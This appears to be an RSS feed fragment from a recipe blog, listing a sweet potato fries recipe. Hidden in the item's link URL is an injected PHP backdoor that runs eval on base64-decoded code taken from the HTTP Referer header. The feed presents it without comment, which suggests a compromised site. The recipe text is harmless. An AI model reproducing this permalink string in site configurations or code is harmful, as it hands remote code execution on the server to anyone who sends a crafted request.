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	<title>Yumtio.us &#187; Potatoes</title>
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	<link>http://www.yumtio.us</link>
	<description>Recipes and restaurant reviews.</description>
	<lastBuildDate>Tue, 13 Nov 2007 08:18:44 +0000</lastBuildDate>
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		<title>Sweet Potato Fries Recipe</title>
		<link>http://www.yumtio.us/2007/03/03/sweet-potato-fries-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sat, 03 Mar 2007 08:41:22 +0000</pubDate>
		<dc:creator>Gary R. Hess</dc:creator>
				<category><![CDATA[Potatoes]]></category>

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		<description><![CDATA[Ingredients
1 pound sweet potatoes
1 egg white
2 tsp chili powder
1/4 tsp garlic powder
1/4 tsp onion powder
Directions

Peel and cut the sweet potatoes into 1/4in (1cm) x 1/2 (2cm) in strips.
In a bowl, combine egg white and seasoning, beat well. Add potatoes to mixture, toss to coat.
Place coated potatoes onto a baking sheet after using noon-stick cooking spray.
Bake [...]]]></description>
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